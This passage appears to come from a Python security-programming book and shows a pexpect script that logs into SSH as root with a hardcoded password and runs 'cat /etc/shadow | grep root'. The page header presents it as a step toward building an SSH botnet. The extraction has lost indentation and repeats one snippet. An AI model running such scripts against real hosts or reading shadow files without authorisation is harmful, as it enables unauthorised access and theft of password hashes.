import pexpect
PROMPT = ['# ', '>>> ', '> ', '\$ ']
def send_command(child, cmd):
child.sendline(cmd)
child.expect(PROMPT)
print child.before
Wrapping everything together, we now have a script that can connect and control
the SSH session interactively.
import pexpect
PROMPT = ['# ', '>>> ', '> ', '\$ ']
def send_command(child, cmd):
child.sendline(cmd)
child.expect(PROMPT)
print child.before
def connect(user, host, password):
ssh_newkey = 'Are you sure you want to continue connecting'
connStr = 'ssh ' + user + '@' + host
child = pexpect.spawn(connStr)
ret = child.expect([pexpect.TIMEOUT, ssh_newkey, \
 '[P|p]assword:'])
if ret == 0:
 print '[-] Error Connecting'
 return
if ret == 1:
 child.sendline('yes')
 ret = child.expect([pexpect.TIMEOUT, \
 '[P|p]assword:'])
 if ret == 0:
 print '[-] Error Connecting'
 return
child.sendline(password)
child.expect(PROMPT)
return child
def main():
Building an SSH BotNet with Python 45
host = 'localhost'
user = 'root'
password = 'toor'
child = connect(user, host, password)
send_command(child, 'cat /etc/shadow | grep root')
if __name__ == '__main__':
main()